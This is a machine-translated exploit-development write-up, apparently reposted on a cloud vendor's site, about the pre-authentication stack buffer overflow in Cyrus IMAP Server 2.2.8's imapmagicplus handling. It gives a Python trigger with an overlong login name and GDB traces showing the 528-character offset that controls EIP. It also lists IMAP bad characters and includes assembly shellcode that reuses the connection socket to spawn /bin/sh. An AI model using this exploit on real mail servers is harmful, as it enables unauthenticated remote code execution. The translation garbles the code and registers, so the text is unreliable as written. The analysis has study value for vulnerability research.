[Practice] Cyrus IMAP Server imapmagicplus pre-verification Remote Buffer Overflow Vulnerability Analysis

Source: Internet
Author: User
Tags imap gdb debugger
Cyrus IMAP Server imapmagicplus pre-verification Remote Buffer Overflow Vulnerability Analysis

Created:
Article attributes: original
Article submitted: San (san_at_xfocus.org)

Cyrus IMAP Server imapmagicplus pre-verification Remote Buffer Overflow Vulnerability Analysis

Stefan Esser has discovered four Cyrus IMAP Server Vulnerabilities. Among them, imapmagicplus pre-verification remote buffer overflow is the most dangerous and easy to exploit. This section describes how to analyze this vulnerability.

1. Locate Vulnerabilities

By comparing the Cyrus IMAP Server 2.2.8 and 2.2.9 versions of the imapd. C source file, you can quickly find the problem code appears in the imapd_canon_user function:

If (config_getswitch (imapopt_imapmagicplus )){
/* Make a working copy of the auth [Z] ID */
Memcpy (userbuf, user, Ulen );
Userbuf [Ulen] = '/0 ';
User = userbuf;

Userbuf is a local variable of the imapd_canon_user function. The size is max_mailbox_name + 1, that is, 491. The user is a parameter brought in by the imapd_canon_user function and does not check the length. When the imapopt_imapmagicplus option is enabled, memcpy is executed, causing stack overflow. The return address of the function will be overwritten. The code in Cyrus IMAP Server 2.2.9 is fixed as follows:

If (config_getswitch (imapopt_imapmagicplus )){
/* Make a working copy of the auth [Z] ID */
If (Ulen> max_mailbox_name ){
Sasl_seterror (Conn, 0, "buffer overflow while canonicalizing ");
Return sasl_bufover;
}
Memcpy (userbuf, user, Ulen );
Userbuf [Ulen] = '/0 ';
User = userbuf;

This is a typical stack overflow vulnerability.

2. trigger the vulnerability

Although it is easy to find the problem code, it is important to find a method to trigger the vulnerability. First, install a cyrus IMAP server with this vulnerability. For the installation process, see Cyrus documentation. After installation, add the following lines at the end of/etc/imapd. conf:

Imapmagicplus: 1

In this way, the imapmagicplus option is enabled and the service is started. If the user variable is the user name entered by the user, log on to the Cyrus IMAP server using a Python script:

[San @/home/San/bugtrack]> Python
Python 2.3.2 (#1, Nov 19 2003, 15:32:26)
[GCC 2.96 20000731 7.1 (Red Hat Linux 2.96-98)] on linux2
Type "help", "Copyright", "Credits" or "License" for more information.
>>> Import imaplib
>>> M = imaplib. IMAP4 ("192.168.7.100 ")
>>> M. login ("A" * 1024 ,"")

Before Running login, you can see that an imapd process is fork on another terminal. Use the gdb debugger to attach the process:

[Root @/home/San/bugtrack]> PS aux | grep imapd
Cyrus 27258 0.0 0.5 20796 1496? S imapd
[Root @/home/San/bugtrack]> GDB/usr/Cyrus/bin/imapd 27258
Gnu gdb Red Hat Linux (5.1-1)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
Welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux "...
/Home/San/bugtrack/27258: no such file or directory.
Attaching to program:/usr/Cyrus/bin/imapd, process 27258
Reading symbols from/usr/local/lib/libsasl2.so. 2... done.
Loaded symbols for/usr/local/lib/libsasl2.so. 2
Reading symbols from/lib/libssl. so.2.... done.
Loaded symbols for/lib/libssl. so.2
Reading symbols from/lib/libcrypto. so.2.... done.
Loaded symbols for/lib/libcrypto. so.2
Reading symbols from/lib/libresolv. so.2.... done.
Loaded symbols for/lib/libresolv. so.2
Reading symbols from/lib/libdb-3.2.so... done.
Loaded symbols for/lib/libdb-3.2.so
Reading symbols from/lib/libcom_err.so.2... done.
Loaded symbols for/lib/libcom_err.so.2
Reading symbols from/lib/libnsl. so.1.... done.
Loaded symbols for/lib/libnsl. so.1
Reading symbols from/lib/i686/libc. so.6...... done.
Loaded symbols for/lib/i686/libc. so.6
Reading symbols from/lib/libdl. so.2.... done.
Loaded symbols for/lib/libdl. so.2
Reading symbols from/lib/ld-linux.so.2... done.
Loaded symbols for/lib/ld-linux.so.2
Reading symbols from/lib/libnss_files.so.2... done.
Loaded symbols for/lib/libnss_files.so.2
0x402ecafe in _ select () from/lib/i686/libc. so.6
(GDB) c
Continuing.

After pressing C, execute the login operation with a long user name on the python terminal. At this time, the gdb terminal reports a segment error:

Program received signal SIGSEGV, segmentation fault.
0x0804dc89 in imapd_canon_user (conn = 0x41414141, context = 0x41414141,
User = 0x41414141 <address 0x41414141 out of bounds>, Ulen = 1094795585,
Flags = 1094795585,
User_realm = 0x41414141 <address 0x41414141 out of bounds>,
Out = 0x41414141 <address 0x41414141 out of bounds>, out_max = 1094795585,
Out_ulen = 0x41414141) at imapd. C: 291
291 userbuf [Ulen] = '/0 ';
(GDB)

The imapd process crashed in the imapd_canon_user function, but it crashed when "userbuf [Ulen] = '/0';". Check the system situation:

(GDB) x/I $ PC
0x804dc89 <imapd_canon_user + 81>: movb $0x0, (% eax, % EBX, 1)
Pc-8 (GDB) x/5I $
0x804dc81 <imapd_canon_user + 73>: Call 0x804be18 <memcpy>
0x804dc86 <imapd_canon_user + 78>: mov 0x14 (% EBP), % eax
0x804dc89 <imapd_canon_user + 81>: movb $0x0, (% eax, % EBX, 1)
0x804dc8d <imapd_canon_user + 85>: Pop % edX
0x804dc8e <imapd_canon_user + 86>: Pop % ECx
(GDB) I reg $ EBP $ eax $ EBX
EBP 0xbfffd0c8 0xbfffd0c8
Eax 0x41414141 1094795585
EBX 0xbfffcec0-1073754432
(GDB) x/20x $ EBP
0xbfffd0c8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffd0d8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffd0e8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffd0f8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffd108: 0x41414141 0x41414141 0x41414141 0x41414141

The original Ulen is the pressure stack parameter of the imapd_canon_user function. The occupied Ulen is 0x41414141 because the overflow data overwrites the data stored in the stack. Using it to find the last character of userbuf leads to memory access out of bounds, so the user variable cannot be too large. It is best to overwrite the return address of the function. After testing, when the username string is 528 characters long, it overwrites the return address of the function. Execute the login operation using the same method above. The information obtained by GDB is as follows:

(GDB) c
Continuing.

Program received signal SIGSEGV, segmentation fault.
0x41414141 in ?? ()
(GDB) I reg
Eax 0 xfffffffd-3
ECX 0x0 0
EdX 0x4033a2a0 1077125792
EBX 0x41414141 1094795585
ESP 0xbfffd0d0 0xbfffd0d0
EBP 0x41414141 0x41414141
ESI 0x41414141 1094795585
EDI 0x41414141 1094795585
EIP 0x41414141 0x41414141
...

Now the EIP becomes a controllable address, and then you can write and use the program.

3. Program Implementation

The three lines of Python code are analyzed by using tcpdump to capture packets. It is found that two packages will be sent during imap login. First, a capability packet is sent, and then a login packet is sent. Based on this information, the exploitation program can be easily written. However, during the actual attempt, it can be found that after an abnormal login packet is sent, IMAP will return information similar to the following:

Abcf1 bad missing required argument to login

This is because the shellcode and return address of the user name contain special characters of IMAP and are escaped after being sent to the server. After testing, we found that the following characters cannot appear in the shellcode and return address:

0x22
0x0c
0x0b
0x00
0x09
0x0d
0x0a
0x20

The characters in the shellcode can be successfully filtered and executed to the shellcode, but the shellcode used to test the socket search fails. I accidentally discovered that this IMAP service treats a very large number as the socket currently connected, that is, the following code is equivalent to the function of searching the socket shellcode:

JMP locate_addr
Find_s:
Pop % EDI/* the address of sting/bin/sh */

Xorl % EBX, % EBX
Decl % EBX/* Amazing socket */

Pushl $0x2
Popl % ECx
Dup2s:
Movb $ 0x3f, % Al/* sys_dup */
Int $0x80

Decl % ECx
JNS dup2s

Xorl % eax, % eax
Movl % EDI, % EBX/*/bin/sh */
Leal 0x8 (% EDI), % edX/*-ISP */
Pushl % eax
Pushl % edX
Pushl % EBX
Movl % ESP, % ECx/* argv */
Xorl % edX, % edX/* envp = NULL */
Movb $ 0x0b, % Al/* sys_execve */
Int $0x80

XOR % EBX, % EBX
MoV % EBX, % eax
INC % eax
Int $0x80/* sys_exit */

Locate_addr:
Call find_s
. Byte '/', 'B', 'I', 'n', '/', s', 'h', 0x0 ,'-', 'I','s ', 'P', 0x0

I am not very clear about the reason. The test environment I tested is RedHat 7.2. If some readers know the reason, I still hope to give me some advice.

Related Article

E-Commerce Solutions

Leverage the same tools powering the Alibaba Ecosystem

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.